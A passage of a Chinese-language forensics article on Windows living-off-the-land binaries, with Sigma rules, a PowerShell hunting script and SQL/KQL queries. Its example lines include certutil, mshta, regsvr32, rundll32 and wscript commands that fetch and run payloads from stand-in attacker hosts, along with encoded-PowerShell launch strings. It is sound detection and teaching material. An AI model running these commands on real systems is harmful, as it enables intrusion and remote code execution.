4688 事件中 MSBuild.exe 的命令行执行了来自非标准开发路径的 .csproj 文件 4688 事件中 MSBuild.exe 的父进程不是 VS IDE、devenv.exe 或 CI/CD 工具 4688 事件中 MSBuild.exe 创建了 cmd.exe、powershell.exe 等子进程 Sysmon Event ID 7 中 MSBuild.exe 加载了异常的 .NET 程序集 .csproj 文件的文件创建时间和修改时间分析 .NET 运行时的程序集加载日志 5. 检测规则 title : MSBuild Inline Task Execution
id : a1b2c3d4-1006-0001-abcd-ef1234567811
status : stable
description : 检测 MSBuild 执行来自非开发环境的项目文件
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/004/
- https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
logsource :
category : process_creation
product : windows
detection :
selection :
Image|endswith : '\MSBuild.exe'
CommandLine|endswith :
- '.csproj'
- '.vbproj'
- '.fsproj'
filter_dev :
CommandLine|contains :
- 'C:\Program Files\Microsoft Visual Studio'
- 'C:\Program Files (x86)\Microsoft Visual Studio'
- 'C:\Users\*\.nuget\'
- ' C:\Users\*\source\repos\'
condition : selection and not filter_dev
level : medium
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.004 title : MSBuild Spawns Suspicious Child Process
id : a1b2c3d4-1006-0002-abcd-ef1234567812
status : experimental
description : 检测 MSBuild 创建可疑子进程
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/004/
logsource :
category : process_creation
product : windows
detection :
selection_parent :
ParentImage|endswith : '\MSBuild.exe'
selection_child :
Image|endswith :
- '\cmd.exe'
- '\powershell.exe'
- '\powershell_ise.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\certutil.exe'
- '\regsvr32.exe'
condition : selection_parent and selection_child
level : high
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.004 0x08 其他重要 LOLBin 分析 1. WMIC(T1047) WMIC(Windows Management Instrumentation Command-line)是 WMI 的命令行接口:
wmic process call create "cmd.exe /c whoami > C:\Temp\output.txt"
wmic process call create "powershell -ep bypass -enc JABjAGwA..."
wmic /node:"remote-host" process call create "cmd.exe /c malicious.exe" 取证特征:
Event ID 4688 中 wmic.exe 的命令行包含 process call create WMIC 创建的子进程不是 wmic.exe 的子进程(通过 WMI provider 执行) Sysmon Event ID 1 中 WMIC 命令行包含异常进程创建命令 2. PowerShell(T1059.001) PowerShell 是最常见的 LOLBin,已有文章 PowerShell攻击链与日志取证分析 进行了深入分析。核心检测点:
-EncodedCommand 或 -enc 参数(Base64 编码命令)-ExecutionPolicy Bypass(绕过执行策略)-WindowStyle Hidden(隐藏窗口)-NoProfile(不加载配置文件)IEX、Invoke-Expression(表达式执行)DownloadString、DownloadData(远程下载)Script Block Logging Event ID 4104 中的可疑命令内容 3. Cmd.exe(T1059.003) CMD 是最基础的命令行解释器,几乎所有攻击场景都会用到:
cmd.exe /c whoami && net user && net localgroup administrators
cmd.exe /c "echo payload | powershell -ep bypass -"
cmd.exe /c certutil -urlcache -split -f http://attacker.com/payload.exe 取证特征:
Event ID 4688 中 cmd.exe 的命令行包含敏感命令(whoami、net user、ipconfig 等) cmd.exe /c 后跟随的命令字符串cmd.exe 的父进程分析(异常的父子进程关系) 4. WScript/CScript(T1059.005) WScript 和 CScript 是 Windows 脚本宿主:
wscript.exe //B //Nologo C:\Temp\payload.vbs
cscript.exe //B //Nologo C:\Temp\payload.js
wscript.exe //B http://attacker.com/payload.vbs 取证特征:
Event ID 4688 中 wscript.exe 或 cscript.exe 执行来自异常路径的脚本 脚本文件的首次执行时间分析 Sysmon Event ID 11 中脚本文件的创建事件 Sysmon Event ID 3 中 WScript/CScript 的网络连接 5. PresentationHost(T1218) PresentationHost.exe 是 .NET XAML 浏览器应用程序的宿主:
PresentationHost.exe "http://attacker.com/payload.xbap"
PresentationHost.exe "C:\Temp\malicious.xaml" 取证特征:
Event ID 4688 中 PresentationHost.exe 执行了来自非标准路径的 XAML 文件 PresentationHost.exe 的网络连接 XAML 文件的首次执行时间分析 6. Desktopimgdownldr(T1218) Desktopimgdownldr.exe 是 Windows 桌面图片下载器:
desktopimgdownldr.com /url "http://attacker.com/wallpaper.exe" /set "C:\Temp\wallpaper.exe" 取证特征:
Event ID 4688 中 desktopimgdownldr.com 的命令行包含 /url 参数 下载文件的文件系统痕迹 网络连接痕迹 0x09 LOLBin 攻击的取证分析方法 1. 事件日志分析框架 LOLBins 攻击的取证分析需要一个系统化的框架,核心事件源包括:
取证分析框架:
├── Windows Security 事件日志
│ ├── Event ID 4688 — 进程创建(CommandLine 需启用审计)
│ ├── Event ID 4624 — 登录事件
│ ├── Event ID 4672 — 特殊权限分配
│ ├── Event ID 4689 — 进程退出
│ └── Event ID 5140/5145 — 网络共享访问
├── Sysmon 事件日志
│ ├── Event ID 1 — 进程创建(增强版)
│ ├── Event ID 3 — 网络连接
│ ├── Event ID 7 — 映像加载
│ ├── Event ID 11 — 文件创建
│ ├── Event ID 15 — 文件流创建
│ └── Event ID 22 — DNS 查询
├── PowerShell 日志
│ ├── Event ID 4103 — Module Logging
│ ├── Event ID 4104 — Script Block Logging
│ └── Event ID 4105/4106 — Script Block 执行
├── .NET CLR 日志
│ └── Event ID 40962/40963 — CLR 绑定和加载
├── 文件系统痕迹
│ ├── Prefetch 文件
│ ├── Amcache.hve
│ ├── Recent 文件夹
│ └── %TEMP% 目录
└── 注册表痕迹
├── UserAssist
├── ShellBags
└── Amcache 注册表键2. 命令行参数深度解析 LOLBins 攻击的命令行参数是最重要的取证指标。以下是对各类 LOLBin 关键参数的深度解析:
Certutil 关键参数
-urlcache → 下载文件(高度可疑)
-split → 配合 urlcache 使用(高度可疑)
-f → 强制覆盖(高度可疑)
-encode → 编码文件(需要上下文判断)
-decode → 解码文件(高度可疑,配合下载场景)
-url → 指定 URL(高度可疑)Regsvr32 关键参数
/s → 静默模式(可疑,需结合其他参数)
/u → 注销模式(可疑,配合 /i 使用)
/n → 不调用 DllRegisterServer(可疑)
/i: → 传递参数给 DllInstall(高度可疑,特别是 /i:http)
scrobj.dll → COM 脚本解释器(高度可疑,几乎所有攻击场景)Mshta 关键参数
vbscript: → 内嵌 VBScript 执行(高度可疑)
javascript: → 内嵌 JScript 执行(高度可疑)
about: → about: 协议执行(高度可疑)
http:// → 远程 HTA 文件(高度可疑)
https:// → 远程 HTA 文件(高度可疑)Rundll32 关键参数
javascript: → JavaScript 执行(高度可疑)
mshtml → 配合 JavaScript 使用(高度可疑)
UNC 路径 \\ → 远程 DLL 加载(高度可疑)
非标准 DLL 路径 → 非 System32 路径的 DLL(高度可疑)3. Prefetch 与 Amcache 分析 Prefetch 分析
Prefetch 文件记录了程序的执行历史,对于 LOLBin 取证至关重要:
$prefetchPath = "C:\Windows\Prefetch"
Get-ChildItem -Path $prefetchPath -Filter "*CERTUTIL*" | ForEach-Object {
[PSCustomObject ]@{
FileName = $_.Name
LastWriteTime = $_.LastWriteTime
Size = $_.Length
}
} 关键 Prefetch 文件模式:
CERTUTIL.EXE-{HASH}.pf → Certutil 执行记录
REGSVR32.EXE-{HASH}.pf → Regsvr32 执行记录
MSHTA.EXE-{HASH}.pf → Mshta 执行记录
RUNDLL32.EXE-{HASH}.pf → Rundll32 执行记录
INSTALLUTIL.EXE-{HASH}.pf → InstallUtil 执行记录
MSBUILD.EXE-{HASH}.pf → MSBuild 执行记录Amcache 分析
Amcache.hve 注册表文件记录了程序的安装和执行历史:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Amcache
Root\{Volume GUID}\<SHA1 Hash>
(Default) = Executable path
FileId = File ID
LowerCaseLongPath = 长路径
LongPath = 完整路径
ProductName = 产品名称
BinFileVersion = 文件版本
LinkDate = 链接日期
Size = 文件大小Amcache 的取证价值在于:即使 Prefetch 文件被清除,Amcache 中仍然保留着程序执行的记录(从 Windows 8 开始)。
4. 内存取证辅助分析 对于无文件(Fileless)LOLBins 攻击,内存取证是关键的补充手段:
$processes = Get-Process | Where-Object {
$_.ProcessName -match 'certutil|regsvr32|mshta|rundll32|installutil|msbuild'
} | Select-Object Id, ProcessName, Path, CommandLine
$processes | Format-Table -AutoSize 内存取证的关键分析点:
进程命令行参数 :使用 Get-WmiObject Win32_Process 或 Sysmon Event ID 1 获取完整命令行加载的 DLL :使用 Get-Process -Id <PID> -Module 或 Sysmon Event ID 7 分析加载的模块网络连接 :使用 Get-NetTCPConnection 或 Sysmon Event ID 3 分析网络活动内存中的脚本内容 :对于 Script Block Logging 的 4104 事件,可以在内存中提取已执行的脚本5. 网络流量关联分析 LOLBins 攻击通常伴随网络活动,关联网络流量可以提供额外的取证证据:
Certutil 下载的网络特征
User-Agent: Microsoft-CryptoAPI/10.0
方法: GET
响应类型: 二进制/可执行文件Mshta 下载的网络特征
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0)
方法: GET
响应 Content-Type: application/htaRegsvr32 Squiblydoo 的网络特征
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0)
方法: GET
响应 Content-Type: text/xml网络流量分析工具推荐:
Wireshark:流量包分析 Zeek(Bro):网络监控和日志 Suricata:IDS/IPS 签名检测 NetworkMiner:网络取证分析 0x10 证据强度分层 在 LOLBin 取证分析中,不同证据的可信度和确定性存在显著差异。建立证据强度分层框架有助于调查人员准确判断攻击行为的确认程度。
1. 确认恶意(Confirmation Level) 达到此级别的证据表明 LOLBin 攻击已经确认发生 :
指标 说明 典型场景 命令行中包含远程 URL + LOLBin Certutil -urlcache 远程下载、Mshta 远程 HTA、Regsvr32 /i: 远程 SCT 直接证据,无可辩驳 LOLBin 创建了恶意子进程 Rundll32 → cmd.exe → whoami/ipconfig/net.exe 可疑子进程链明确 已知恶意 SCT/VBS/JS 脚本内容 Regsvr32 加载的 SCT 脚本包含 ActiveXObject 脚本内容明确恶意 事后发现的磁盘文件 Certutil 下载的恶意 EXE 文件 文件哈希匹配已知 IOC 内存中提取的恶意代码 内存取证发现注入的 shellcode 恶意代码特征明确
2. 高度可疑(High Suspicion Level) 达到此级别的证据表明 LOLBin 攻击高度可能已发生 ,但需要进一步验证:
指标 说明 典型场景 LOLBin 从非标准路径执行 Certutil 从 %TEMP% 执行 可能是攻击者下载后执行 异常父子进程关系 MSBuild 创建 cmd.exe 开发工具不应创建命令行进程 LOLBin 命令行包含编码参数 certutil -decode + 编码文件 可能是载荷解码执行 LOLBin 命令行包含 UNC 路径 Rundll32 加载远程 DLL 可能是横向移动载荷 LOLBin 执行后立即出现后门 Regsvr32 执行后出现持久化后门 时间关联强烈
3. 需要关注(Attention Level) 达到此级别的证据表明 LOLBin 攻击可能存在 ,需要持续监控和进一步分析:
指标 说明 典型场景 LOLBin 执行次数异常增多 Certutil 在短时间内被多次执行 可能是批量下载载荷 LOLBin 访问了可疑网络地址 Mshta 连接到已知 C2 基础设施 可能是 C2 通信 LOLBin 在非工作时间执行 Regsvr32 在凌晨 3:00 执行 可能是自动化攻击脚本 LOLBin 首次在系统上出现 系统上首次执行 InstallUtil 可能是攻击工具首次部署 LOLBin Prefetch 文件时间异常 程序执行时间与系统使用时间不匹配 可能是攻击后植入执行
0x11 公开案例中的 LOLBin 攻击 案例一:APT29 — Mshta + Certutil 攻击链 APT29(Cozy Bear)是与俄罗斯情报机构关联的高级持续性威胁组织。在 2020-2024 年间的多次攻击行动中,APT29 大量使用 Mshta + Certutil 组合进行初始载荷投递。
攻击过程
APT29 发送钓鱼邮件,附件为恶意 .lnk 快捷方式文件 .lnk 文件执行以下命令: mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""certutil -urlcache -split -f http://c2-server.com/update.exe %TEMP%\update.exe"",0:CreateObject(""WScript.Shell"").Run ""%TEMP%\update.exe"",0:Close")Mshta 执行内嵌 VBScript,调用 Certutil 下载恶意载荷 Certutil 从 C2 服务器下载 Cobalt Strike Beacon 恶意载荷在后台静默执行 取证发现
Event ID 4688 中出现 Mshta → Certutil → 恶意 EXE 的进程链 网络流量中 Mshta 连接到已知 APT29 C2 基础设施 Certutil 下载目录中发现恶意 Beacon 文件 时间线分析显示整个攻击链在数秒内完成 案例二:APT38 — Regsvr32 Squiblydoo APT38 是与朝鲜关联的金融犯罪组织,以攻击银行和加密货币交易所闻名。APT38 在多次行动中使用 Regsvr32 Squiblydoo 技术执行远程 SCT 脚本。
攻击过程
APT38 通过水坑攻击向金融行业网站注入恶意代码 受害者访问恶意网站时触发初始感染 执行以下命令: regsvr32 /s /n /u /i:http://apt38-c2.com/loader.sct scrobj.dllSCT 脚本中的 ActiveXObject 调用下载并执行更复杂的攻击工具 攻击工具进行凭证窃取和横向移动 取证发现
Event ID 4688 中 Regsvr32 命令行包含 /i:http 远程 URL SCT 脚本内容分析显示多阶段载荷投递 网络流量中 Regsvr32 连接到 APT38 基础设施 注册表中发现 SCT 脚本注册的 COM 对象 案例三:FIN7 — Rundll32 + JavaScript FIN7 是以金融犯罪为目的的网络犯罪组织,以创新性的攻击技术著称。FIN7 在多次攻击中使用 Rundll32 + JavaScript 组合绕过应用控制。
攻击过程
FIN7 发送钓鱼邮件,附件为恶意 .docx 文档 文档中嵌入的宏执行以下命令: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=new%20ActiveXObject("WScript.Shell");o.Run("powershell -ep bypass -enc JABjAGwA...",0,true);Rundll32 通过 mshtml 引擎执行 JavaScript JavaScript 调用 WScript.Shell 执行 PowerShell 命令 PowerShell 下载并执行 FIN7 后门 取证发现
Event ID 4688 中 Rundll32 命令行包含 javascript: 协议 Rundll32 创建的子进程为 powershell.exe PowerShell Script Block Logging 中发现 Base64 编码的下载命令 网络流量中 PowerShell 连接到 FIN7 C2 服务器 0x12 LOLBin 检测自动化与狩猎 1. PowerShell 检测脚本 以下 PowerShell 脚本用于检测系统中的 LOLBin 攻击活动:
function Find-LOLBinsAbuse {
param (
[int ]$HoursToSearch = 24 ,
[string ]$OutputPath = "C:\Temp\LOLBinsAbuseReport.csv"
)
$startTime = (Get-Date).AddHours(-$HoursToSearch)
$results = @()
$lolBinPatterns = @{
'Certutil' = @{
Image = '*\certutil.exe'
SuspiciousArgs = @('-urlcache' , '-decode' , '-encode' , '-ping' )
}
'Regsvr32' = @{
Image = '*\regsvr32.exe'
SuspiciousArgs = @('/i:http' , '/i:https' , 'scrobj.dll' , '/s /n /u' )
}
'Mshta' = @{
Image = '*\mshta.exe'
SuspiciousArgs = @('vbscript:' , 'javascript:' , 'http://' , 'https://' , 'about:<' )
}
'Rundll32' = @{
Image = '*\rundll32.exe'
SuspiciousArgs = @('javascript:' , 'mshtml' , '\\\\' , '\Temp\' , '\AppData\' )
}
'InstallUtil' = @{
Image = '*\InstallUtil.exe'
SuspiciousArgs = @('/U' , '/logfile=' )
}
'MSBuild' = @{
Image = '*\MSBuild.exe'
SuspiciousArgs = @('.csproj' , '.vbproj' , '.fsproj' )
}
}
$processEvents = Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4688
StartTime = $startTime
} -ErrorAction SilentlyContinue
foreach ($event in $processEvents) {
$xml = [xml ]$event.ToXml()
$newProcess = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'NewProcessName' } | Select-Object -ExpandProperty '#text'
$parentProcess = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'ParentProcessName' } | Select-Object -ExpandProperty '#text'
$commandLine = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'CommandLine' } | Select-Object -ExpandProperty '#text'
$subjectUser = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'SubjectUserName' } | Select-Object -ExpandProperty '#text'
foreach ($toolName in $lolBinPatterns.Keys) {
$pattern = $lolBinPatterns[$toolName]
if ($newProcess -like $pattern.Image) {
$isSuspicious = $false
$matchedArg = ''
foreach ($arg in $pattern.SuspiciousArgs) {
if ($commandLine -like "* $arg*" ) {
$isSuspicious = $true
$matchedArg = $arg
break
}
}
if ($isSuspicious) {
$results += [PSCustomObject ]@{
Time = $event.TimeCreated
Tool = $toolName
EventID = 4688
AlertType = 'LOLBins_Abuse'
MatchedArg = $matchedArg
UserName = $subjectUser
ParentProcess = $parentProcess
CommandLine = $commandLine
Severity = 'HIGH'
}
}
}
}
}
$results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Host "Found $($results.Count) suspicious LOLBin events. Report saved to $OutputPath"
return $results
}
Find-LOLBinsAbuse -HoursToSearch 48 2. 事件日志狩猎查询(SQL/KQL) SQL 查询 — 检测 LOLBin 远程下载
SELECT TimeCreated, EventID, SubjectUserName, NewProcessName, ParentProcessName, CommandLine
FROM SecurityEvents
WHERE EventID = 4688
AND (
(NewProcessName LIKE '%certutil.exe' AND CommandLine LIKE '%urlcache%' )
OR (NewProcessName LIKE '%certutil.exe' AND CommandLine LIKE '%-decode%' )
OR (NewProcessName LIKE '%mshta.exe' AND CommandLine LIKE '%http%' )
OR (NewProcessName LIKE '%regsvr32.exe' AND CommandLine LIKE '%/i:http%' )
OR (NewProcessName LIKE '%rundll32.exe' AND CommandLine LIKE '%javascript%' )
OR (NewProcessName LIKE '%rundll32.exe' AND CommandLine LIKE '%\\\\%' )
OR (NewProcessName LIKE '%msbuild.exe' AND CommandLine LIKE '%.csproj%' )
)
ORDER BY TimeCreated DESC SQL 查询 — 检测 LOLBin 可疑子进程链
SELECT e2.TimeCreated, e2.SubjectUserName, e2.NewProcessName AS ChildProcess,
e2.ParentProcessName AS ParentProcess, e2.CommandLine AS ChildCommandLine
FROM SecurityEvents e1
INNER JOIN SecurityEvents e2
ON e1.NewProcessId = e2.ProcessId
WHERE e1.EventID = 4688
AND e2.EventID = 4688
AND e1.NewProcessName LIKE '%certutil.exe%'
AND e2.NewProcessName IN ('cmd.exe' , 'powershell.exe' , 'wscript.exe' )
ORDER BY e1.TimeCreated DESC KQL 查询 — Microsoft Sentinel 检测 LOLBin 攻击
SecurityEvent
| where EventID == 4688
| where NewProcessName has_any ("certutil.exe", "regsvr32.exe", "mshta.exe", "rundll32.exe", "installutil.exe", "msbuild.exe")
| extend CmdLine = CommandLine
| where CmdLine has_any ("-urlcache", "-decode", "/i:http", "vbscript:", "javascript:", "mshtml", "\\\\", ".csproj", "/U", "http://", "https://")
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, ParentProcessName, CommandLine
| sort by TimeGenerated descKQL 查询 — LOLBin 进程树异常检测
DeviceProcessEvents
| where FileName in~ ("certutil.exe", "regsvr32.exe", "mshta.exe", "rundll32.exe")
| where InitiatingProcessFileName in~ ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc3. Sigma 检测规则(≥4 条) title : LOLBins - Certutil Download and Execute
id : e5f6a7b8-2001-0001-abcd-ef1234567813
status : stable
description : 检测 Certutil 下载并执行文件的完整攻击链
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1105/
- https://attack.mitre.org/techniques/T1218/003/
- https://lolbas-project.github.io/lolbas/Binaries/Certutil/
logsource :
category : process_creation
product : windows
detection :
selection_download :
Image|endswith : '\certutil.exe'
CommandLine|contains|all :
- '-urlcache'
- '-split'
- '-f'
selection_decode :
Image|endswith : '\certutil.exe'
CommandLine|contains : '-decode'
condition : selection_download or selection_decode
level : medium
tags :
- attack.defense_evasion
- attack.execution
- attack.t1105
- attack.t1218.003 title : LOLBins - Regsvr32 Squiblydoo Execution
id : e5f6a7b8-2001-0002-abcd-ef1234567814
status : stable
description : 检测 Regsvr32 通过 /i 参数加载远程 SCT 脚本执行(Squiblydoo 技术)
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/010/
- https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
logsource :
category : process_creation
product : windows
detection :
selection :
Image|endswith : '\regsvr32.exe'
CommandLine|contains|all :
- '/s'
- '/n'
- '/u'
- '/i:'
selection_scrobj :
Image|endswith : '\regsvr32.exe'
CommandLine|contains : 'scrobj.dll'
condition : selection or selection_scrobj
level : high
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.010 title : LOLBins - Mshta Remote Code Execution
id : e5f6a7b8-2001-0003-abcd-ef1234567815
status : stable
description : 检测 Mshta 执行远程 HTA 文件或内嵌脚本
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/005/
- https://lolbas-project.github.io/lolbas/Binaries/Mshta/
logsource :
category : process_creation
product : windows
detection :
selection_remote :
Image|endswith : '\mshta.exe'
CommandLine|contains :
- 'http://'
- 'https://'
selection_script :
Image|endswith : '\mshta.exe'
CommandLine|contains :
- 'vbscript:'
- 'javascript:'
- 'about:<'
- 'about:"'
condition : selection_remote or selection_script
level : high
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.005 title : LOLBins - Rundll32 JavaScript Execution
id : e5f6a7b8-2001-0004-abcd-ef1234567816
status : stable
description : 检测 Rundll32 通过 JavaScript 协议执行恶意代码
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/011/
- https://lolbas-project.github.io/lolbas/Binaries/Rundll32/
logsource :
category : process_creation
product : windows
detection :
selection_js :
Image|endswith : '\rundll32.exe'
CommandLine|contains :
- 'javascript:'
- 'mshtml'
selection_unc :
Image|endswith : '\rundll32.exe'
CommandLine|contains : '\\\\'
selection_nontemp :
Image|endswith : '\rundll32.exe'
CommandLine|contains :
- '\Temp\'
- ' \AppData\'
- '\Downloads\'
- ' \Public\'
condition : selection_js or selection_unc or selection_nontemp
level : high
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.011 title : LOLBins - MSBuild Inline Task Code Execution
id : e5f6a7b8-2001-0005-abcd-ef1234567817
status : stable
description : 检测 MSBuild 执行来自非开发环境的项目文件
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/004/
- https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
logsource :
category : process_creation
product : windows
detection :
selection :
Image|endswith : '\MSBuild.exe'
CommandLine|contains :
- '.csproj'
- '.vbproj'
- '.fsproj'
filter_dev :
CommandLine|contains :
- 'C:\Program Files\Microsoft Visual Studio'
- 'C:\Program Files (x86)\Microsoft Visual Studio'
- 'C:\Users\*\.nuget\'
condition : selection and not filter_dev
level : medium
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.004 title : LOLBins - InstallUtil Uninstall Mode Execution
id : e5f6a7b8-2001-0006-abcd-ef1234567818
status : stable
description : 检测 InstallUtil 使用 /U(卸载模式)执行可疑 .NET 程序集
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/004/
- https://lolbas-project.github.io/lolbas/Binaries/InstallUtil/
logsource :
category : process_creation
product : windows
detection :
selection :
Image|endswith : '\InstallUtil.exe'
CommandLine|contains : '/U'
filter_dev :
CommandLine|contains :
- 'C:\Program Files'
- 'Microsoft\VisualStudio'
condition : selection and not filter_dev
level : medium
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.004 0x13 参考资料